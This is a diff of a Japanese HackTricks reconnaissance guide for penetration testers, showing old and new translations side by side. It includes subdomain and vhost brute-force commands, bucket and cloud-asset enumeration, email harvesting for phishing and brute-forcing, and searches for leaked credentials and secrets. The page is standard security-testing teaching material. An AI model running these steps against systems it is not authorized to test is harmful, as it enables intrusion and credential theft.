``` ```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_は、極めてシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズツールです。_subzuf_は、カスタマイズされたワードリストや過去のDNS/TLSレコードなどの提供された入力データを利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集された情報に基づいてさらにループで拡張します。 * [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムを備えたサブドメインブルートフォースファズァです。提供された入力データセットカスタマイズされたワードリストや過去のDNS/TLSレコードなどを利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてループ内でさらに拡張します。
``` ```
echo www | subzuf facebook.com echo www | subzuf facebook.com
``` ```
### **サブドメイン発見ワークフロー** ### **サブドメイン発見ワークフロー**
このブログ記事をチェックしてください。**Trickestワークフロー**を使用してドメインから**サブドメインの発見を自動化**する方法について書いています。これにより、コンピュータで手動で多くのツールを起動する必要がありません。 私が書いたブログ記事をチェックしてください。**Trickestワークフロー**を使用してドメインから**サブドメイン発見を自動化する**方法について説明しています。これにより、コンピュータで手動で多数のツールを起動する必要がなくなります:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
@ -427,15 +434,15 @@ echo www | subzuf facebook.com
### **VHosts / バーチャルホスト** ### **VHosts / バーチャルホスト**
サブドメインを持つ**1つ以上のウェブページを含むIPアドレス**を見つけた場合、そのIP内の**他のサブドメインを見つける**ために、IP内のドメインを検索するか、**そのIP内のVHostドメイン名をブルートフォースする**ことができます。 サブドメインに属する**1つまたは複数のウェブページ**を含むIPアドレスを見つけた場合、そのIP内の**ウェブを持つ他のサブドメインを見つける**ために、**OSINTソース**でIP内のドメインを探すか、**そのIP内のVHostドメイン名をブルートフォースする**ことを試みることができます。
#### OSINT #### OSINT
[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **やその他のAPI**を使用して、IP内の**VHostを見つける**ことができます [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **や他のAPIを使用してIP内のいくつかのVHostsを見つけることができます**
**ブルートフォース** **ブルートフォース**
Webサーバーにいくつかのサブドメインが隠されている可能性がある場合、ブルートフォースしてみることができます。 ウェブサーバーに隠されたサブドメインがあると疑う場合、それをブルートフォースすることを試みることができます:
```bash ```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -450,213 +457,215 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
VHostScan -t example.com VHostScan -t example.com
``` ```
{% hint style="info" %} {% hint style="info" %}
このテクニックを使用すると、内部/非表示のエンドポイントにアクセスできるかもしれません この技術を使うことで、内部/隠れたエンドポイントにアクセスできる場合があります
{% endhint %} {% endhint %}
### **CORS Brute Force** ### **CORSブルートフォース**
々、有効なドメイン/サブドメインが _**Origin**_ ヘッダーに設定されている場合にのみ _**Access-Control-Allow-Origin**_ ヘッダーを返すページが見つかります。 これらのシナリオでは、この動作を悪用して、新しい **サブドメイン****発見** することができます。 には、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されているときにのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン****発見** することができます。
```bash ```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
``` ```
### **バケットブルートフォース** ### **バケットブルートフォース**
**サブドメイン**を探している間に、そのサブドメインがどの種類の**バケット**を指しているかを確認し、その場合は[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。\ **サブドメイン**を探しているときは、**バケット**のいずれかに**ポイント**しているかどうかに注意し、その場合は[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)**。**\
また、この時点でスコープ内のすべてのドメインを把握しているため、[**可能なバケット名をブルートフォースし、権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。 また、この時点でスコープ内のすべてのドメインを知っているので、[**可能なバケット名をブルートフォースし、権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してみてください。
### **モニタリング** ### **モニタリング**
**ドメイン**の**新しいサブドメイン**が作成されたかどうかを**モニタリング**することができます。これは[**Certificate Transparency**ログを監視することで行うことができます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)が行っています。 **新しいサブドメイン**が作成されたかどうかを監視するには、**Certificate Transparency**ログを監視することができます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。
### **脆弱性の索** ### **脆弱性の索**
可能な[**サブドメイン乗っ取り**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)をチェックしてください。\ 可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\
**サブドメイン**が**S3バケット**を指している場合は、[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。 **サブドメイン**が**S3バケット**を指している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。
アセットの発見で見つけたIPとは異なるIPを持つ**サブドメイン**を見つけた場合、**基本的な脆弱性スキャン**NessusまたはOpenVASを使用と**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行中のサービスに応じて、**この書籍でそれらを"攻撃"するためのヒント**を見つけることができます。\ もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**NessusやOpenVASを使用と、**ポートスキャン****nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスによっては、**この本にあるいくつかの「攻撃」するためのトリック**を見つけることができます。\
_サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外にある可能性があることに注意してください。_ _サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外であることに注意してください。注意が必要です。_
## IPs ## IPs
初期段階で**いくつかのIP範囲、ドメイン、およびサブドメイン**を見つけたかもしれません。\ 初期のステップで、**いくつかのIPレンジ、ドメイン、サブドメイン**を**見つけたかもしれません**。\
これらの範囲から**すべてのIP**と**ドメイン/サブドメインDNSクエリ**を再収集する時が来ました これらのレンジから**すべてのIPを収集**し、**ドメイン/サブドメインDNSクエリ**のための時間です
以下の**無料API**を使用すると、ドメインとサブドメインが以前に使用していたIPを見つけることもできます。これらのIPはクライアントが所有している可能性がありますそして[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つけることができるかもしれません) 以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはまだクライアントによって所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。
* [**https://securitytrails.com/**](https://securitytrails.com/) * [**https://securitytrails.com/**](https://securitytrails.com/)
また、ツール[hakip2host](https://github.com/hakluke/hakip2host)を使用して特定のIPアドレスを指すドメインをチェックすることもできます。 特定のIPアドレスを指すドメインを確認するには、[**hakip2host**](https://github.com/hakluke/hakip2host)ツールを使用できます。
### **脆弱性の索** ### **脆弱性の索**
CDNに属さないすべてのIPに**ポートスキャン**を実行してください(そこに興味深いものはほとんど見つからない可能性が高いです)。発見された実行中のサービスで**脆弱性を見つける**ことができるかもしれません。 **CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスでは、**脆弱性を見つけることができるかもしれません**
**ホストをスキャンする方法についての**[**ガイド**](../pentesting-network/) **を見つけてください。** **ホストをスキャンする方法に関する**[**ガイド**](../pentesting-network/)を見つけてください。
## Webサーバーの探索 ## ウェブサーバーハンティング
> すべての企業とその資産を見つけ、IP範囲、ドメイン、およびスコープ内のサブドメインを把握しています。Webサーバーを検索する時が来ました > すべての企業とその資産を見つけ、スコープ内のIPレンジ、ドメイン、サブドメインを知っています。ウェブサーバーを探す時間です
前のステップでおそらくすでに発見したIPとドメインの**調査**を実行しているかもしれませんので、すでに**可能なすべてのWebサーバー**を見つけているかもしれません。しかし、まだ見つけていない場合は、スコープ内のWebサーバーを検索するための**高速なトリック**を見ていきます。 前のステップで、**発見されたIPとドメインのいくつかのリコンをすでに実行しているかもしれません**ので、**すでにすべての可能なウェブサーバーを見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを検索するための**迅速なトリック**を見ていきます。
これは**Webアプリの発見**に向けられているため、スコープで**許可されている場合**は**脆弱性**と**ポートスキャン**も実行する必要があります。 これは**ウェブアプリの発見**に向けられているため、**脆弱性**と**ポートスキャン**も実行する必要があります**スコープによって許可されている場合**
[**masscanを使用して**関連する**Web**サーバーの**オープンポート**を発見する高速な方法はこちらにあります](../pentesting-network/#http-port-discovery)。\ **ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用することができます](../pentesting-network/#http-port-discovery)。\
Webサーバーを探すためのもう1つの便利なツールは[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すと、ポート80httpおよび443httpsに接続しようとします。さらに、他のポートを試すように指示することもできます ウェブサーバーを探すためのもう一つの便利なツールは、[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すだけで、ポート80http443httpsに接続しようとします。さらに、他のポートを試すように指示することもできます
```bash ```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
``` ```
### **スクリーンショット** ### **スクリーンショット**
スコープ内のすべてのWebサーバー企業のIPアドレス、すべてのドメイン、サブドメインを含むを発見したので、**どこから始めればよいかわからない**かもしれません。ですので、単純にすべてのWebサイトのスクリーンショットを撮影してみましょう。**メインページ**を見るだけで、**奇妙な**エンドポイントを見つけることができ、それらは**脆弱性を抱えやすい**可能性が高いです。 スコープ内に存在する**すべてのウェブサーバー**(会社の**IP**やすべての**ドメイン**、**サブドメイン**の中から)を発見したので、どこから始めればよいかわからないかもしれません。そこで、シンプルにして、すべてのサーバーのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけ**で、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。
提案されたアイデアを実行するために、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**を使用**できます。 提案されたアイデアを実行するに、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**を使用できます。**
さらに、その後[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、すべての**スクリーンショット**を実行し、**脆弱性を含んでいそうなもの**とそうでないものを教えてもらうことができます。 さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、すべての**スクリーンショット**を確認し、**脆弱性を含む可能性が高いもの**とそうでないものを教えてもらうことができます。
## パブリッククラウド資産 ## パブリッククラウド資産
企業に関連する潜在的なクラウド資産を見つけるためには、その企業を識別するためのキーワードリストから始める必要があります。たとえば、暗号通貨企業の場合、"crypto"、"wallet"、"dao"、"<domain_name>"、<"subdomain_names">などの単語を使用するかもしれません 会社に属する潜在的なクラウド資産を見つけるためには、**その会社を特定するキーワードのリストから始めるべきです**。例えば、暗号通貨会社の場合、次のような単語を使用することができます:`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`
また、**バケツで使用される一般的な単語のワードリスト**が必要です: また、**バケットで使用される一般的な単語のワードリスト**も必要です:
- [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
の後、これらの単語を使用して**順列**を生成する必要があります(詳細は[**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round)を参照)。 次に、それらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](./#second-dns-bruteforce-round)を参照してください)。
生成されたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、[**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**などのツールを使用**できます。 得られたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。**
クラウド資産を探す際には、**AWSのバケツだけでなく**他のものも探す必要があります クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探すべきです**
### **脆弱性を探す** ### **脆弱性の検索**
**オープンなバケツや露出されたクラウド機能**などが見つかった場合は、それらに**アクセス**して、提供されているものを確認し、悪用できるかどうかを試してみてください **オープンバケットや公開されたクラウド機能**などを見つけた場合は、それに**アクセスして**、何を提供しているのか、どのように悪用できるかを確認するべきです
## メール ## メール
スコープ内の**ドメイン**と**サブドメイン**を持っていると、企業のメールを検索を開始するために必要なものがすべて揃っています。これらは私にとって最も効果的だった企業のメールを見つけるための**API**と**ツール**です: スコープ内の**ドメイン**と**サブドメイン**を使って、**メールを検索するために必要なすべての情報**を基本的に持っています。これらは、会社のメールを見つけるために私が最も効果的だと感じた**API**と**ツール**です:
- [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs * [**theHarvester**](https://github.com/laramies/theHarvester) - APIを使用
- [**https://hunter.io/**](https://hunter.io/)のAPI無料版 * [**https://hunter.io/**](https://hunter.io/)のAPI無料版
- [**https://app.snov.io/**](https://app.snov.io/)のAPI無料版 * [**https://app.snov.io/**](https://app.snov.io/)のAPI無料版
- [**https://minelead.io/**](https://minelead.io/)のAPI無料版 * [**https://minelead.io/**](https://minelead.io/)のAPI無料版
### **脆弱性を探す** ### **脆弱性の検索**
後でメールは、Webログインや認証サービスSSHなどを**ブルートフォース攻撃**するために役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、メールの背後にいる**人物についてのさらなる情報**を提供し、フィッシングキャンペーンに役立ちます。 メールは、**ウェブログインや認証サービス**SSHなどを**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ、メールの背後にいる**人物に関するさらなる情報**を提供します。
## 資格情報の漏洩 ## 資格情報の漏洩
**ドメイン**、**サブドメイン**、および**メール**を持っている場合、過去にそのメールに関連する漏洩した資格情報を探すことができます: **ドメイン**、**サブドメイン**、および**メール**を使用して、過去に漏洩した資格情報を探し始めることができます:
- [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://leak-lookup.com](https://leak-lookup.com/account/login)
- [https://www.dehashed.com/](https://www.dehashed.com/) * [https://www.dehashed.com/](https://www.dehashed.com/)
### **脆弱性を探す** ### **脆弱性の検索**
**有効な漏洩した**資格情報を見つけた場合、これは非常に簡単な勝利です。 **有効な漏洩した**資格情報を見つけた場合、これは非常に簡単な勝利です。
## シークレットの漏洩 ## 秘密の漏洩
資格情報の漏洩は、**機密情報が漏洩し販売された**企業のハッキングに関連しています。ただし、企業はそのデータベースにない情報が含まれる**他の漏洩**にも影響を受ける可能性があります: 資格情報の漏洩は、**機密情報が漏洩し販売された**企業のハッキングに関連しています。しかし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります:
### Githubの漏洩 ### Githubの漏洩
資格情報やAPIが、**企業**またはそのgithub企業の**開発者**の**パブリックリポジトリ**に漏洩している可能性があります。\ 資格情報やAPIは、**会社**やその**ユーザー**の**公開リポジトリ**で漏洩する可能性があります。\
[**Leakos**](https://github.com/carlospolop/Leakos)ツールを使用して、**組織**とその**開発者**の**すべてのパブリックリポジトリ**を**ダウンロード**し、[**gitleaks**](https://github.com/zricethezav/gitleaks)を自動的に実行できます。 **Leakos**という**ツール**を使用して、**組織**とその**開発者**のすべての**公開リポジトリ**を**ダウンロード**し、自動的に[**gitleaks**](https://github.com/zricethezav/gitleaks)を実行できます。
**Leakos**は、**渡されたURLのすべてのテキスト**に**gitleaks**を実行するためにも使用できます。なぜなら、**ウェブページにも秘密が含まれる**ことがあるからです。 **Leakos**は、提供された**URLに渡された**すべての**テキスト**に対して**gitleaks**を実行するためにも使用できます。時には**ウェブページにも秘密が含まれている**ことがあります。
#### Github Dorks #### Github Dorks
攻撃対象の組織で検索する可能性のある**github dorks**を見つけるために、この**ページ**もチェックしてください: 攻撃している組織で検索できる潜在的な**github dorks**については、この**ページ**も確認してください:
{% content-ref url="github-leaked-secrets.md" %} {% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md) [github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %} {% endcontent-ref %}
### ペーストの漏洩 ### Pasteの漏洩
攻撃者や単なる作業者が**企業のコンテンツをペーストサイトに公開**することがあります。これには**機密情報**が含まれる可能性がありますが、含まれない場合もあります。\ 時には攻撃者や単なる従業員が**会社のコンテンツをペーストサイトに公開**します。これには**機密情報**が含まれている場合と含まれていない場合がありますが、検索するのは非常に興味深いです。\
[**Pastos**](https://github.com/carlospolop/Pastos)ツールを使用して、80以上のペーストサイト検索できます。 [**Pastos**](https://github.com/carlospolop/Pastos)というツールを使用して、80以上のペーストサイトを同時に検索できます。
### Google Dorks ### Google Dorks
古くからあるが有用なGoogle Dorksは、**そこにあってはならない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)には数千ものクエリが含まれており、手動で実行することはできないことです。したがって、お気に入りの10個を選ぶか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。 古くても金の価値があるGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない数千の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。
_通常のGoogleブラウザを使用してデータベース全体を実行することを期待しているツールは、Googleが非常にすぐにブロックするため、決して終了しません。_ _すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、Googleが非常に早くブロックするため、決して終わらないことに注意してください。_
### **脆弱性を探す** ### **脆弱性の検索**
**有効な漏洩した**資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。 **有効な漏洩した**資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。
## パブリックコードの脆弱性 ## 公開コードの脆弱性
企業が**オープンソースコード**を持っている場合、それを**分析**して**脆弱性**を検索できます。 会社が**オープンソースコード**を持っていることがわかった場合、それを**分析**し、**脆弱性**を探すことができます。
**言語によって異なるツール**があります: **言語によって**異なる**ツール**を使用できます:
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %} {% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) [code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
また、次のような無料のサービスを使用して**パブリックリポジトリをスキャン**することもできます: また、**公開リポジトリをスキャン**するための無料サービスもあります:
- [**Snyk**](https://app.snyk.io/) * [**Snyk**](https://app.snyk.io/)
## [**Webペンテスト手法**](../../network-services-pentesting/pentesting-web/)
**バグハンターによって見つかった脆弱性の大部分**は**Webアプリケーション**内に存在するため、この時点で**Webアプリケーションのテスト手法**について話したいと思います。[**この情報はこちらで見つけることができます**](../../network-services-pentesting/pentesting-web/)。 ## [**ウェブペンテスト手法**](../../network-services-pentesting/pentesting-web/)
また、[**Web Automated Scannersオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)セクションに特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることは期待できないかもしれませんが、**ワークフローに実装して初期のWeb情報を得るのに便利**です **バグハンターによって見つかった脆弱性の大多数**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/)。
## 要点 また、[**Web自動スキャナーオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます**。
> おめでとうございます!この時点で、すでに**すべての基本的な列挙**を行っています。はい、基本的な列挙ですが、さらに多くの列挙ができます(後でさらなるトリックを見ることになります)。 ## 再確認
> おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、基本的なことです。さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。
したがって、すでに次のことを行っています: したがって、すでに次のことを行っています:
1. スコープ内の**すべての企業**を見つけまし 1. スコープ内のすべての**会社**を見つけ
2. 企業に属する**すべての資産**を見つけました(スコープ内であればいくつかの脆弱性スキャンを実行) 2. 会社に属するすべての**資産**を見つけた(スコープ内で脆弱性スキャンを実行)
3. 企業に属する**すべてのドメイン**を見つけまし 3. 会社に属するすべての**ドメイン**を見つけ
4. ドメインの**すべてのサブドメイン**を見つけました(サブドメインの乗っ取りはありましたか 4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りは?)
5. スコープ内の**CDNからでないIP**を含むすべての**IP**を見つけまし 5. スコープ内のすべての**IP**CDNからのものとそうでないものを見つけ
6. **すべてのWebサーバー**を見つけ、**スクリーンショット**を取りました(深く調査する価値のある奇妙なものはありましたか 6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(深く見る価値のある奇妙なものは
7. 企業に属する**潜在的なパブリッククラウド資産**をすべて見つけまし 7. 会社に属するすべての**潜在的なパブリッククラウド資産**を見つけた
8. **簡単に大きな勝利をもたらす可能性のあるメール**、**資格情報の漏洩**、および**秘密の漏洩**を見つけました 8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる**
9. 見つけたすべてのWebを**ペンテスト**しました 9. 見つけたすべてのウェブを**ペンテスト**
## **完全なRecon自動ツール** ## **フルリコン自動ツール**
さまざまなツールがあり、指定されたスコープに対して提案されたアクションの一部を実行します。 特定のスコープに対して提案されたアクションの一部を実行するツールがいくつかあります。
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) * [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) * [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) * [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 少し古く、更新されていません * [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 少し古く、更新されていない
## **参考文献** ## **参考文献**
* [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)など * [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、例えば[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**_流暢なポーランド語の読み書きが必要です_ **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください**。
* **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# ペンテスト手法 # ペンテスト手法
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、**ゼロからヒーローまでのAWSハッキングを学びましょう**</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
